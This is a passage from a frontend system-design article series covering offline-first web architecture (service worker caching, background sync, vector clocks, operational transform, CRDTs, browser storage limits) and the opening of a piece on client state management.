  event.waitUntil(
    caches.open(STATIC_CACHE).then((cache) => {
      return cache.addAll(["/", "/app.js", "/styles.css", "/offline.html"])
    }),
  )
  // Skip waiting to activate immediately (use carefully)
  // self.skipWaiting();
})

self.addEventListener("activate", (event: ExtendableEvent) => {
  event.waitUntil(
    caches.keys().then((keys) => {
      return Promise.all(keys.filter((key) => !key.includes(CACHE_VERSION)).map((key) => caches.delete(key)))
    }),
  )
  // Take control of all pages immediately
  // self.clients.claim();
})
```

**skipWaiting pitfall**: Calling `skipWaiting()` activates the new Service Worker immediately, but existing pages still have old JavaScript. This can cause version mismatches between page code and Service Worker. Only use if your update is backward-compatible.

### Caching Strategies

Jake Archibald's "Offline Cookbook" defines canonical caching strategies. Each has distinct trade-offs:

**Cache-First**: Serve from cache, fall back to network. Best for static assets that rarely change.

```typescript
async function cacheFirst(request: Request): Promise<Response> {
  const cached = await caches.match(request)
  if (cached) return cached

  const response = await fetch(request)
  if (response.ok) {
    const cache = await caches.open(STATIC_CACHE)
    cache.put(request, response.clone())
  }
  return response
}
```

**Network-First**: Try network, fall back to cache. Best for frequently-updated content where freshness matters.

```typescript collapse={1-2, 18-22}
async function networkFirst(request: Request, timeout = 3000): Promise<Response> {
  try {
    const controller = new AbortController()
    const timeoutId = setTimeout(() => controller.abort(), timeout)

    const response = await fetch(request, { signal: controller.signal })
    clearTimeout(timeoutId)

    if (response.ok) {
      const cache = await caches.open(DYNAMIC_CACHE)
      cache.put(request, response.clone())
    }
    return response
  } catch {
    const cached = await caches.match(request)
    if (cached) return cached
    throw new Error("Network failed and no cache available")
  }
}
```

**Stale-While-Revalidate**: Serve from cache immediately, update cache in background. Best for content where slight staleness is acceptable.

```typescript
async function staleWhileRevalidate(request: Request): Promise<Response> {
  const cache = await caches.open(DYNAMIC_CACHE)
  const cached = await cache.match(request)

  const fetchPromise = fetch(request).then((response) => {
    if (response.ok) {
      cache.put(request, response.clone())
    }
    return response
  })

  return cached ?? fetchPromise
}
```

**Strategy selection by resource type**:

| Resource Type             | Strategy                 | Rationale               |
| ------------------------- | ------------------------ | ----------------------- |
| App shell (HTML, JS, CSS) | Cache-first with version | Immutable builds        |
| API responses             | Network-first            | Freshness critical      |
| User-generated content    | Stale-while-revalidate   | UX + eventual freshness |
| Images/media              | Cache-first              | Rarely change           |
| Authentication endpoints  | Network-only             | Must be fresh           |

### Background Sync

Background Sync API allows deferring actions until connectivity is available:

```typescript collapse={1-5, 25-35}
// In your application code
async function queueSync(data: SyncData): Promise<void> {
  // Store the data in IndexedDB
  await saveToSyncQueue(data)

  // Register for background sync
  const registration = await navigator.serviceWorker.ready
  await registration.sync.register("sync-pending-changes")
}

// In service worker
self.addEventListener("sync", (event: SyncEvent) => {
  if (event.tag === "sync-pending-changes") {
    event.waitUntil(processSyncQueue())
  }
})

async function processSyncQueue(): Promise<void> {
  const pending = await getPendingSyncItems()

  for (const item of pending) {
    try {
      await fetch("/api/sync", {
        method: "POST",
        body: JSON.stringify(item),
      })
      await markSynced(item.id)
    } catch {
      // Will retry on next sync event
      throw new Error("Sync failed")
    }
  }
}
```

**Background Sync limitations**:

- Chrome-only (as of 2024)
- No guarantee of timing—browser decides when to fire sync event
- Limited to ~3 minutes of execution time
- Requires Service Worker to be registered

**Periodic Background Sync**: Allows periodic sync even when app is closed. Requires explicit permission and Chrome only:

```typescript
// Check support and register
if ("periodicSync" in navigator.serviceWorker) {
  const registration = await navigator.serviceWorker.ready
  const status = await navigator.permissions.query({
    name: "periodic-background-sync" as PermissionName,
  })

  if (status.state === "granted") {
    await registration.periodicSync.register("sync-content", {
      minInterval: 24 * 60 * 60 * 1000, // 24 hours minimum
    })
  }
}
```

### Workbox

Workbox (Google) encapsulates Service Worker patterns in a production-ready library. It's used by ~54% of mobile sites with Service Workers.

```typescript collapse={1-8, 25-35}
import { precacheAndRoute } from "workbox-precaching"
import { registerRoute } from "workbox-routing"
import { CacheFirst, NetworkFirst, StaleWhileRevalidate } from "workbox-strategies"
import { BackgroundSyncPlugin } from "workbox-background-sync"

// Precache app shell (injected at build time)
precacheAndRoute(self.__WB_MANIFEST)

// API calls: network-first with background sync fallback
registerRoute(
  ({ url }) => url.pathname.startsWith("/api/"),
  new NetworkFirst({
    cacheName: "api-cache",
    plugins: [
      new BackgroundSyncPlugin("api-queue", {
        maxRetentionTime: 24 * 60, // 24 hours
      }),
    ],
  }),
)

// Images: cache-first
registerRoute(
  ({ request }) => request.destination === "image",
  new CacheFirst({
    cacheName: "images",
    plugins: [
      new ExpirationPlugin({
        maxEntries: 100,
        maxAgeSeconds: 30 * 24 * 60 * 60, // 30 days
      }),
    ],
  }),
)
```

**Why use Workbox**:

- Handles cache versioning and cleanup automatically
- Precaching with revision hashing
- Built-in plugins for expiration, broadcast updates, background sync
- Webpack/Vite integration for build-time manifest generation

## Sync Strategies

When clients make changes offline, syncing those changes creates the hardest problems in offline-first architecture.

### Last-Write-Wins (LWW)

The simplest conflict resolution: most recent timestamp wins.

```typescript
interface Document {
  id: string
  content: string
  updatedAt: number // Unix timestamp
}

function resolveConflict(local: Document, remote: Document): Document {
  return local.updatedAt > remote.updatedAt ? local : remote
}
```

**When LWW works**:

- Single-user applications
- Data where loss is acceptable (analytics, logs)
- Coarse-grained updates (entire document, not fields)

**When LWW fails**:

- Multi-user editing (Alice's changes overwrite Bob's)
- Fine-grained updates (field-level changes lost)
- Clock skew between clients causes wrong "winner"

**Clock skew problem**: Client clocks can drift. A device with clock set to the future always wins. Solutions:

- Use server timestamps (but requires connectivity)
- Hybrid logical clocks (Lamport timestamp + physical time)
- Vector clocks (discussed below)

### Vector Clocks

Vector clocks track causality—which events "happened before" others—without synchronized physical clocks.

```typescript
type VectorClock = Map<string, number>

function increment(clock: VectorClock, nodeId: string): VectorClock {
  const newClock = new Map(clock)
  newClock.set(nodeId, (newClock.get(nodeId) ?? 0) + 1)
  return newClock
}

function merge(a: VectorClock, b: VectorClock): VectorClock {
  const result = new Map(a)
  for (const [nodeId, count] of b) {
    result.set(nodeId, Math.max(result.get(nodeId) ?? 0, count))
  }
  return result
}

function compare(a: VectorClock, b: VectorClock): "before" | "after" | "concurrent" {
  let aBefore = false
  let bBefore = false

  const allNodes = new Set([...a.keys(), ...b.keys()])
  for (const nodeId of allNodes) {
    const aCount = a.get(nodeId) ?? 0
    const bCount = b.get(nodeId) ?? 0
    if (aCount < bCount) aBefore = true
    if (bCount < aCount) bBefore = true
  }

  if (aBefore && !bBefore) return "before"
  if (bBefore && !aBefore) return "after"
  return "concurrent" // True conflict
}
```

**Vector clocks detect conflicts but don't resolve them**: When `compare` returns `'concurrent'`, you have a true conflict that needs application-specific resolution.

**Space overhead**: Vector clocks grow with number of writers. For N clients, each entry is O(N). Dynamo-style systems use "version vectors" with pruning.

### Operational Transform (OT)

Operational Transform models changes as operations that can be transformed when concurrent.

**How OT works**:

1. Client captures operations: `insert('Hello', position: 0)`
2. Client applies operation locally (optimistic update)
3. Client sends operation to server
4. Server transforms operation against concurrent operations
5. Server broadcasts transformed operation to other clients

```typescript
interface TextOperation {
  type: "insert" | "delete"
  position: number
  text?: string // for insert
  length?: number // for delete
}

// Transform op1 given op2 was applied first
function transform(op1: TextOperation, op2: TextOperation): TextOperation {
  if (op2.type === "insert") {
    if (op1.position >= op2.position) {
      return { ...op1, position: op1.position + op2.text!.length }
    }
  } else if (op2.type === "delete") {
    if (op1.position >= op2.position + op2.length!) {
      return { ...op1, position: op1.position - op2.length! }
    }
    // More complex cases: overlapping deletes, etc.
  }
  return op1
}
```

**OT requires central coordination**: The server maintains operation history and performs transforms. This means OT doesn't work for true peer-to-peer or extended offline scenarios.

**OT complexity**: Transformation functions are notoriously difficult to get right. Google Docs has had OT-related bugs despite years of engineering. The transformation must satisfy mathematical properties (convergence, intention preservation) that are hard to verify.

**Where OT excels**: Real-time collaborative editing with always-on connectivity. Low latency because changes apply immediately with optimistic updates.

### CRDTs (Conflict-free Replicated Data Types)

CRDTs are data structures mathematically designed to merge without conflicts. Any order of applying changes converges to the same result.

**Two types of CRDTs**:

**State-based (CvRDT)**: Replicate entire state, merge using mathematical join.

```typescript
// G-Counter: Grow-only counter
type GCounter = Map<string, number>

function increment(counter: GCounter, nodeId: string): GCounter {
  const newCounter = new Map(counter)
  newCounter.set(nodeId, (newCounter.get(nodeId) ?? 0) + 1)
  return newCounter
}

function merge(a: GCounter, b: GCounter): GCounter {
  const result = new Map(a)
  for (const [nodeId, count] of b) {
    result.set(nodeId, Math.max(result.get(nodeId) ?? 0, count))
  }
  return result
}

function value(counter: GCounter): number {
  return Array.from(counter.values()).reduce((sum, n) => sum + n, 0)
}
```

**Operation-based (CmRDT)**: Replicate operations, apply in any order. Requires reliable delivery (all operations eventually arrive).

**Common CRDT types**:

| CRDT                            | Use Case        | Trade-off                     |
| ------------------------------- | --------------- | ----------------------------- |
| G-Counter                       | Likes, views    | Grow-only                     |
| PN-Counter                      | Votes (up/down) | Two G-Counters                |
| G-Set                           | Tags, followers | Grow-only set                 |
| OR-Set (Observed-Remove)        | General sets    | Handles concurrent add/remove |
| LWW-Register                    | Single values   | Last-write-wins               |
| RGA (Replicated Growable Array) | Text editing    | Complex, high overhead        |

**Text CRDTs**: For collaborative text editing, specialized CRDTs like RGA, WOOT, or Yjs's implementation track character positions with unique IDs that survive concurrent edits.

```typescript
// Simplified RGA node structure
interface RGANode {
  id: { clientId: string; seq: number }
  char: string
  tombstone: boolean // Deleted but kept for ordering
  after: RGANode["id"] | null // Insert position
}
```

**CRDT trade-offs**:

- **Pros**: Mathematically guaranteed convergence, works fully offline, no central server required
- **Cons**: High memory overhead (tombstones, metadata), complex implementation, eventual consistency only

> "CRDTs are the only data structures that can guarantee consistency in a fully decentralized system, but many published algorithms have subtle bugs. It's easy to implement CRDTs badly." — Martin Kleppmann

**Interleaving anomaly**: When two users type "foo" and "bar" at the same position, naive CRDTs may produce "fboaor" instead of "foobar" or "barfoo". Production CRDTs (Yjs, Automerge) handle this with sophisticated tie-breaking.

### Sync Strategy Comparison

| Factor                    | LWW               | Vector Clocks         | OT                   | CRDT                 |
| ------------------------- | ----------------- | --------------------- | -------------------- | -------------------- |
| Conflict resolution       | Automatic (lossy) | Detect only           | Server-based         | Automatic (lossless) |
| Offline duration          | Any               | Any                   | Short (needs server) | Any                  |
| Implementation complexity | Low               | Medium                | High                 | Very High            |
| Memory overhead           | Low               | Medium                | Low                  | High                 |
| P2P support               | Yes               | Partial               | No                   | Yes                  |
| Data loss risk            | High              | Application-dependent | Low                  | None                 |

## Design Paths

### Path 1: Cache-Only PWA

**Architecture**: Service Worker caches static assets and API responses. No local database. Changes require network.

```
Browser → Service Worker → Cache API → (Network when available)
```

**Best for**:

- Read-heavy applications (news, documentation)
- Short offline periods (subway, airplane mode)
- Content that doesn't change offline

**Implementation complexity**:
| Aspect | Effort |
|--------|--------|
| Initial setup | Low |
| Feature additions | Low |
| Sync logic | None |
| Testing | Low |

**Device/network profile**:

- Works well on: All devices, any network
- Struggles on: Extended offline, collaborative editing

**Trade-offs**:

- Simplest implementation
- No sync conflicts
- Limited offline functionality
- Stale data possible

### Path 2: Sync Queue Pattern

**Architecture**: Changes stored in IndexedDB queue, processed when online. Server is source of truth.

```
App → IndexedDB (queue) → Background Sync → Server → IndexedDB (confirmed)
```

**Best for**:

- Form submissions (surveys, orders)
- Single-user data (personal notes, todos)
- Tolerance for occasional conflicts

**Implementation complexity**:
| Aspect | Effort |
|--------|--------|
| Initial setup | Medium |
| Feature additions | Medium |
| Sync logic | Medium (queue management) |
| Testing | Medium |

**Key implementation concerns**:

- Idempotency: Server must handle duplicate submissions
- Ordering: Queue processes FIFO, but network latency can reorder
- Failure handling: Permanent failures need user notification

```typescript collapse={1-8, 30-40}
interface SyncQueueItem {
  id: string
  operation: "create" | "update" | "delete"
  entity: string
  data: unknown
  timestamp: number
  retries: number
}

async function processQueue(): Promise<void> {
  const queue = await getSyncQueue()

  for (const item of queue) {
    try {
      await sendToServer(item)
      await removeFromQueue(item.id)
    } catch (error) {
      if (isPermanentError(error)) {
        await markAsFailed(item.id)
        notifyUser(`Failed to sync: ${item.entity}`)
      } else {
        await incrementRetry(item.id)
        if (item.retries >= MAX_RETRIES) {
          await markAsFailed(item.id)
        }
      }
    }
  }
}
```

**Trade-offs**:

- Handles common offline scenarios
- Server-side conflict resolution
- May lose changes on permanent failures
- Doesn't support real-time collaboration

### Path 3: CRDT-Based Local-First

**Architecture**: Local CRDT state is authoritative. Peers sync directly or through relay server. No central source of truth.

```
App → CRDT State (IndexedDB) ↔ Peer/Server ↔ Other Clients' CRDT State
```

**Best for**:

- Collaborative editing (documents, whiteboards)
- P2P applications
- Extended offline with multiple editors

**Implementation complexity**:
| Aspect | Effort |
|--------|--------|
| Initial setup | High |
| Feature additions | High |
| Sync logic | Very High (CRDT implementation) |
| Testing | Very High |

**Library options**:
| Library | Focus | Bundle Size | Mature |
|---------|-------|-------------|--------|
| Yjs | Text/structured data | ~15KB | Yes |
| Automerge | JSON documents | ~100KB | Yes |
| Liveblocks | Real-time + CRDT | SaaS | Yes |
| ElectricSQL | Postgres sync | ~50KB | Emerging |

```typescript collapse={1-5, 25-35}
import * as Y from "yjs"
import { IndexeddbPersistence } from "y-indexeddb"
import { WebsocketProvider } from "y-websocket"

// Create CRDT document
const doc = new Y.Doc()

// Persist to IndexedDB
const persistence = new IndexeddbPersistence("my-doc", doc)

// Sync with server/peers when online
const provider = new WebsocketProvider("wss://sync.example.com", "my-doc", doc)

// Get shared types
const text = doc.getText("content")
const todos = doc.getArray("todos")

// Changes automatically sync
text.insert(0, "Hello")
```

**Trade-offs**:

- True offline-first with guaranteed convergence
- Supports P2P architecture
- Complex implementation
- High memory overhead
- Eventual consistency only (no transactions)

### Decision Framework

![Diagram](./diagram-1.svg)

## Real-World Implementations

### Figma: Canvas-Level Offline

**Challenge**: Complex vector graphics with potentially millions of objects, multiple concurrent editors.

**Approach**:

- CRDT-based multiplayer engine
- 30-day offline window (7 days on Safari due to ITP)
- Changes stored in IndexedDB with timestamp metadata
- On reconnect, changes merge via CRDT semantics

**Technical details**:

- WebAssembly for CRDT operations (performance critical)
- Custom CRDT for vector graphics (not text-focused)
- Selective sync—only download what's viewed, not entire project
- Background prefetch of likely-needed files

**Limitation**: Can't download entire project for offline. Must have previously opened a file within the offline window.

**Key insight**: "The hardest part isn't the CRDT—it's making the UX feel instant while syncing in the background." — Evan Wallace, Figma CTO

### Notion: Block-Based CRDT

**Challenge**: Rich text documents with blocks (paragraphs, code, embeds), tables, and databases.

**Approach**:

- Custom CRDT system (inspired by Martin Kleppmann's research)
- Per-page sync with `lastDownloadedTimestamp` tracking
- Selective sync—only fetch pages with newer `lastUpdatedTime` on server

**Technical details**:

- Peritext integration for rich text formatting CRDTs (handles formatting spans)
- Database views sync separately from underlying data
- 50-row database limit in initial offline version (increased over time)

**Limitation**: Non-text properties (select fields, relations) harder to merge. Some conflict resolution requires user intervention for complex database changes.

**Source**: Notion engineering blog, 2024

### Linear: Delta Sync

**Challenge**: Project management with issues, projects, and workflows. Must feel instant.

**Approach**:

- Bootstrap process downloads initial state
- WebSocket for incremental delta packets
- IndexedDB for local cache, not full offline editing
- Server maintains authoritative sync ID (incremental integer)

**Technical details**:

- Sync ID increments with each server-side transaction
- Client tracks last seen sync ID, requests deltas since that ID
- Optimistic updates with rollback on server rejection
- Not true offline-first—designed as connectivity failsafe

**Trade-off accepted**: Offline is "best effort"—can view cached data, but edits require eventual connectivity. Simpler than full CRDT but limits offline duration.

### Excalidraw: P2P with localStorage

**Challenge**: Collaborative whiteboard with no backend requirement.

**Approach**:

- Pseudo-P2P: Central server relays end-to-end encrypted messages
- State stored in localStorage (keys: `excalidraw` for objects, `excalidraw-state` for UI)
- Union merge for conflict resolution—all elements from all clients combine
- End-to-end encryption—server never sees content

**Technical details**:

- WebSockets via Socket.IO for message relay
- No server-side storage—all state is client-side
- Room-based collaboration with shareable links
- Works fully offline for local edits

**Limitation**: Union merge means no true delete—"deleted" elements can reappear if another client hadn't seen the delete. Trade-off for simplicity.

## Browser Constraints Deep Dive

### Storage Quota Management

```typescript
async function manageStorageQuota(): Promise<void> {
  const { quota, usage } = await navigator.storage.estimate()
  const usagePercent = (usage! / quota!) * 100

  if (usagePercent > 80) {
    // Proactive cleanup before hitting quota
    await evictOldCache()
  }

  if (usagePercent > 95) {
    // Critical: may start failing writes
    await aggressiveCleanup()
    notifyUser("Storage nearly full")
  }
}

async function evictOldCache(): Promise<void> {
  const cache = await caches.open("dynamic-cache")
  const requests = await cache.keys()

  // Sort by access time (stored in custom header or IndexedDB metadata)
  const sorted = await sortByLastAccess(requests)

  // Evict oldest 20%
  const toEvict = sorted.slice(0, Math.floor(sorted.length * 0.2))
  await Promise.all(toEvict.map((req) => cache.delete(req)))
}
```

**Quota exceeded handling**: When quota is exceeded, `IndexedDB` and `Cache API` throw `QuotaExceededError`. Always wrap storage operations:

```typescript
async function safeWrite(key: string, value: unknown): Promise<boolean> {
  try {
    await writeToIndexedDB(key, value)
    return true
  } catch (error) {
    if (error.name === "QuotaExceededError") {
      await evictOldCache()
      try {
        await writeToIndexedDB(key, value)
        return true
      } catch {
        notifyUser("Storage full. Some data may not be saved offline.")
        return false
      }
    }
    throw error
  }
}
```

### Safari's 7-Day Eviction

Safari's ITP deletes all script-writable storage after 7 days without user interaction. Mitigation strategies:

1. **Prompt for PWA installation**: Installed PWAs are exempt from 7-day limit
2. **Request persistent storage**: Not supported in Safari, but doesn't hurt
3. **Design for re-sync**: Assume local data may disappear
4. **Track last interaction**: Warn users approaching 7-day cliff

```typescript
const SAFARI_EVICTION_DAYS = 7

function checkEvictionRisk(): { daysRemaining: number; atRisk: boolean } {
  const lastInteraction = localStorage.getItem("lastInteraction")
  if (!lastInteraction) {
    localStorage.setItem("lastInteraction", Date.now().toString())
    return { daysRemaining: SAFARI_EVICTION_DAYS, atRisk: false }
  }

  const daysSince = (Date.now() - parseInt(lastInteraction)) / (1000 * 60 * 60 * 24)
  const daysRemaining = SAFARI_EVICTION_DAYS - daysSince

  // Update interaction timestamp
  localStorage.setItem("lastInteraction", Date.now().toString())

  return {
    daysRemaining: Math.max(0, daysRemaining),
    atRisk: daysRemaining < 2,
  }
}
```

### Cross-Browser Testing

Offline-first behavior varies significantly across browsers. Test matrix:

| Scenario                      | Chrome              | Firefox            | Safari              |
| ----------------------------- | ------------------- | ------------------ | ------------------- |
| Quota exceeded                | QuotaExceededError  | QuotaExceededError | QuotaExceededError  |
| Persistent storage            | Auto-grant for PWAs | User prompt        | Not supported       |
| Background sync               | Supported           | Not supported      | Not supported       |
| Service Worker + private mode | Works               | Works              | Limited             |
| IndexedDB in iframe           | Works               | Works              | Blocked (3rd party) |

## Common Pitfalls

### 1. Trusting navigator.onLine

**The mistake**: Using `navigator.onLine` to determine if sync should happen.

```typescript
// Don't do this
if (navigator.onLine) {
  await syncData()
}
```

**Why it fails**: `navigator.onLine` only checks for network interface, not internet connectivity. LAN without internet, captive portals, and firewalls all report `online: true`.

**The fix**: Use actual fetch with timeout as connectivity check:

```typescript
async function canReachServer(): Promise<boolean> {
  try {
    const controller = new AbortController()
    const timeoutId = setTimeout(() => controller.abort(), 5000)

    const response = await fetch("/api/health", {
      method: "HEAD",
      signal: controller.signal,
      cache: "no-store",
    })

    clearTimeout(timeoutId)
    return response.ok
  } catch {
    return false
  }
}
```

### 2. Ignoring IndexedDB Versioning

**The mistake**: Not handling schema upgrades properly.

```typescript
// Dangerous: no version handling
const request = indexedDB.open("mydb")
request.onsuccess = () => {
  const db = request.result
  const tx = db.transaction("users", "readwrite") // May not exist!
}
```

**Why it fails**: If schema changes, existing users have old schema. Without proper `onupgradeneeded`, code accessing new object stores crashes.

**The fix**: Always increment version and handle migrations:

```typescript
const DB_VERSION = 3 // Increment with each schema change

request.onupgradeneeded = (event) => {
  const db = request.result
  const oldVersion = event.oldVersion

  // Migrate through each version
  if (oldVersion < 1) {
    db.createObjectStore("users", { keyPath: "id" })
  }
  if (oldVersion < 2) {
    db.createObjectStore("settings", { keyPath: "key" })
  }
  if (oldVersion < 3) {
    const users = request.transaction!.objectStore("users")
    users.createIndex("by_email", "email", { unique: true })
  }
}
```

### 3. Service Worker Update Races

**The mistake**: Using `skipWaiting()` without considering page code compatibility.

**Why it fails**: Old page JavaScript + new Service Worker can have API mismatches. Cached responses may not match expected format.

**The fix**: Either reload the page after Service Worker update, or ensure backward compatibility:

```typescript
// In Service Worker
self.addEventListener("message", (event) => {
  if (event.data === "skipWaiting") {
    self.skipWaiting()
  }
})

// In page
navigator.serviceWorker.addEventListener("controllerchange", () => {
  // New SW took over, reload to ensure consistency
  window.location.reload()
})
```

### 4. Unbounded Storage Growth

**The mistake**: Caching without eviction policy.

```typescript
// Grows forever
const cache = await caches.open("api-responses")
cache.put(request, response) // Never cleaned up
```

**Why it fails**: Eventually hits quota, causing write failures. User experience degrades suddenly rather than gracefully.

**The fix**: Implement LRU or time-based eviction:

```typescript
const MAX_CACHE_ENTRIES = 100
const MAX_CACHE_AGE_MS = 7 * 24 * 60 * 60 * 1000 // 7 days

async function cacheWithEviction(request: Request, response: Response): Promise<void> {
  const cache = await caches.open("api-responses")
  const keys = await cache.keys()

  // Evict if over limit
  if (keys.length >= MAX_CACHE_ENTRIES) {
    await cache.delete(keys[0]) // FIFO, or implement LRU
  }

  // Store with timestamp
  const headers = new Headers(response.headers)
  headers.set("x-cached-at", Date.now().toString())
  const newResponse = new Response(response.body, {
    status: response.status,
    headers,
  })

  await cache.put(request, newResponse)
}
```

### 5. Sync Conflict Denial

**The mistake**: Assuming conflicts won't happen because "users don't edit the same thing."

**Why it fails**: Conflicts happen when the same user edits on multiple devices, when sync is delayed, or when retries duplicate operations.

**The fix**: Design for conflicts from the start:

- Use idempotent operations with unique IDs
- Implement conflict detection and resolution UI
- Log conflicts for debugging
- Test with simulated network partitions

## Conclusion

Offline-first architecture inverts the traditional web assumption: data lives locally, sync is background, and network is optional. This enables responsive UX regardless of connectivity but introduces complexity in storage management, sync strategies, and conflict resolution.

Key architectural decisions:

**Storage choice**: IndexedDB for structured data with indexing needs, OPFS for binary files and performance-critical access, Cache API for HTTP responses. All share origin quota—monitor and manage proactively.

**Sync strategy**: LWW for simple, loss-tolerant cases. Sync queues for form-style interactions. OT for real-time collaboration with reliable connectivity. CRDTs for true offline-first with guaranteed convergence.

**Browser reality**: Safari's 7-day eviction breaks long-term offline. Persistent storage is unreliable. `navigator.onLine` is useless. Design for data loss and re-sync.

The technology is mature—Yjs, Automerge, and Workbox provide production-ready foundations. The complexity is in choosing the right trade-offs for your use case and handling the edge cases that browser APIs don't abstract away.

## Appendix

### Prerequisites

- **Browser storage APIs**: localStorage, IndexedDB concepts
- **Service Workers**: Basic lifecycle and fetch interception
- **Distributed systems basics**: Consistency models, network partitions
- **Promises/async**: Modern JavaScript async patterns

### Terminology

- **CmRDT**: Commutative/operation-based CRDT—replicate operations, apply in any order
- **CvRDT**: Convergent/state-based CRDT—replicate state, merge with join function
- **ITP**: Intelligent Tracking Prevention—Safari's privacy feature that limits storage
- **LWW**: Last-Write-Wins—conflict resolution where latest timestamp wins
- **OPFS**: Origin Private File System—browser file system API
- **OT**: Operational Transform—sync strategy that transforms concurrent operations
- **PWA**: Progressive Web App—web app with offline capability via Service Worker
- **Tombstone**: Marker for deleted item in CRDT—kept for ordering, never truly removed

### Summary

- **Local-first data model**: Application reads/writes to IndexedDB or OPFS immediately; network sync is asynchronous
- **Service Workers**: Intercept requests, implement caching strategies (cache-first, network-first, stale-while-revalidate), enable background sync
- **Storage constraints**: Quotas vary (Safari ~1GB, Chrome 60% disk); Safari evicts after 7 days without interaction; persistent storage helps but isn't guaranteed
- **Conflict resolution**: LWW loses data; OT requires server; CRDTs guarantee convergence but are complex; choose based on offline duration and collaboration needs
- **Production patterns**: Figma uses CRDTs with 30-day window; Notion uses CRDTs with selective sync; Linear uses delta sync (not true offline-first); Excalidraw uses union merge with localStorage

### References

- [Service Workers Spec - W3C](https://www.w3.org/TR/service-workers/) - Normative specification
- [The Offline Cookbook - Jake Archibald](https://jakearchibald.com/2014/offline-cookbook/) - Canonical caching patterns
- [IndexedDB API - W3C](https://www.w3.org/TR/IndexedDB/) - Storage specification
- [CRDTs: The Hard Parts - Martin Kleppmann](https://martin.kleppmann.com/2020/07/06/crdt-hard-parts-hydra.html) - CRDT design challenges
- [Workbox Documentation - Google](https://developer.chrome.com/docs/workbox/) - Service Worker library
- [Storage Quotas and Eviction - MDN](https://developer.mozilla.org/en-US/docs/Web/API/Storage_API/Storage_quotas_and_eviction_criteria) - Browser storage limits
- [Origin Private File System - web.dev](https://web.dev/articles/origin-private-file-system) - OPFS guide
- [Full Third-Party Cookie Blocking - WebKit](https://webkit.org/blog/10218/full-third-party-cookie-blocking-and-more/) - Safari's 7-day storage limit
- [Figma's Multiplayer Technology - Evan Wallace](https://www.figma.com/blog/how-figmas-multiplayer-technology-works/) - Production CRDT implementation
- [How We Made Notion Available Offline - Notion Engineering](https://www.notion.com/blog/how-we-made-notion-available-offline) - Block-based CRDT sync
- [Linear's Sync Engine - Reverse Engineering](https://marknotfound.com/posts/reverse-engineering-linears-sync-magic/) - Delta sync approach
- [Excalidraw P2P Collaboration](https://plus.excalidraw.com/blog/building-excalidraw-p2p-collaboration-feature) - Union merge pattern
- [CRDT Papers Collection](https://crdt.tech/papers.html) - Academic CRDT research
- [Yjs Documentation](https://docs.yjs.dev/) - Production CRDT library
- [Automerge](https://automerge.org/) - JSON CRDT library

---

## Client State Management

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/frontend-system-design/client-state-management
**Category:** System Design / Frontend System Design
**Description:** Choosing the right state management approach requires understanding that “state” is not monolithic—different categories have fundamentally different requirements. Server state needs caching, deduplication, and background sync. UI state needs fast updates and component isolation. Form state needs validation and dirty tracking. Conflating these categories is the root cause of most state management complexity.

# Client State Management

Choosing the right state management approach requires understanding that "state" is not monolithic—different categories have fundamentally different requirements. Server state needs caching, deduplication, and background sync. UI state needs fast updates and component isolation. Form state needs validation and dirty tracking. Conflating these categories is the root cause of most state management complexity.

<figure>

![State categories map to specialized tools—using the wrong tool for a category creates unnecessary complexity.](./state-categories-map-to-specialized-tools-using-the-wrong-tool-for-a-category-cr.svg)

<figcaption>State categories map to specialized tools—using the wrong tool for a category creates unnecessary complexity.</figcaption>
</figure>

## Abstract

Client state management reduces to one principle: **match the tool to the state category**.

- **Server state** (API data) → Use TanStack Query or SWR. These handle caching, deduplication, background refetch, and optimistic updates. Trying to manage server state with Redux or Context creates cache invalidation nightmares.
- **UI state** → Start with `useState`. Escalate to Context for cross-component sharing, Zustand for module-level state, or Jotai for fine-grained reactivity. Global state libraries are overkill for most UI state.
- **Form state** → Use React Hook Form for performance-critical forms (uncontrolled inputs, minimal re-renders). Built-in browser validation covers most cases.
- **URL state** → Store filters, pagination, and view modes in query parameters. Makes state shareable and survives refresh.
- **Derived state** → Compute, don't store. Use selectors with memoization to avoid stale data and reduce state surface area.

The 2025 consensus: push server state to specialized libraries, keep global state minimal, and let URLs carry shareable state.

## State Categories

Not all state is equal. Each category has distinct characteristics that dictate the right management approach.

### Server State

Data fetched from APIs. Characteristics:

| Property       | Implication                        |
| -------------- | ---------------------------------- |
| Asynchronous   | Needs loading/error states         |
| Shared         | Multiple components read same data |
| Cacheable      | Avoid redundant fetches            |
| Stale          | Data can become outdated           |
| Owned remotely | Server is source of truth          |

**Why specialized tools exist:** Managing server state with `useState` or Redux requires manually handling caching, deduplication, background refetch, cache invalidation, and optimistic updates. TanStack Query and SWR solve these problems out of the box.

### UI State

Local, synchronous state for user interactions:

- Modal open/closed
- Dropdown selections
- Accordion expansion
- Animation states
- Component-specific flags

**Design principle:** UI state should live as close to where it's used as possible. Lifting state to global stores creates unnecessary coupling and re-renders.

### Form State

Specialized category with unique requirements:

| Requirement      | Why It Matters               |
| ---------------- | ---------------------------- |
| Dirty tracking   | Show unsaved changes warning |
| Validation       | Field-level and form-level   |
| Submission state | Disable button, show loading |
| Error mapping    | Associate errors with fields |
| Array fields     | Dynamic add/remove rows      |

**Why form libraries exist:** Native form handling with `useState` creates excessive re-renders (every keystroke triggers render). Libraries like React Hook Form use uncontrolled inputs to batch updates.

### URL State

Query parameters and path segments that represent application state:

```
/products?category=electronics&sort=price&page=2
```

**Why URL state matters:**

1. **Shareable** — Users can share filtered views
2. **Bookmarkable** — Browser back/forward works correctly
3. **Server-renderable** — Initial state from URL, no hydration mismatch
4. **Debuggable** — State visible in address bar

### Persistent State

State that survives page refresh or browser close:

| Storage        | Capacity     | Persistence  | Use Case                |
| -------------- | ------------ | ------------ | ----------------------- |
| localStorage   | 5MB          | Permanent    | Preferences, tokens     |
| sessionStorage | 5MB          | Tab lifetime | Temporary wizard state  |
| IndexedDB      | ~50% of disk | Permanent    | Large datasets, offline |
| Cookies        | 4KB          | Configurable | Auth tokens (httpOnly)  |

## Server State Management

### The Stale-While-Revalidate Pattern

SWR (the library) is named after RFC 5861's `stale-while-revalidate` cache directive. The pattern:

1. Return cached (potentially stale) data immediately
2. Revalidate in the background
3. Update UI when fresh data arrives

**Why this design:** Users see instant responses while data freshness is maintained. The alternative—waiting for network—creates perceived slowness even on fast connections.

### TanStack Query Deep Dive

As of TanStack Query v5, the core caching model uses two time-based controls:

| Setting     | Default | Purpose                               |
| ----------- | ------- | ------------------------------------- |
| `staleTime` | 0       | How long data is considered fresh     |
| `gcTime`    | 5 min   | How long inactive data stays in cache |

**Critical relationship:** `gcTime` must be ≥ `staleTime`. If cache is garbage collected before data goes stale, you lose the cached data before you'd naturally refetch it.

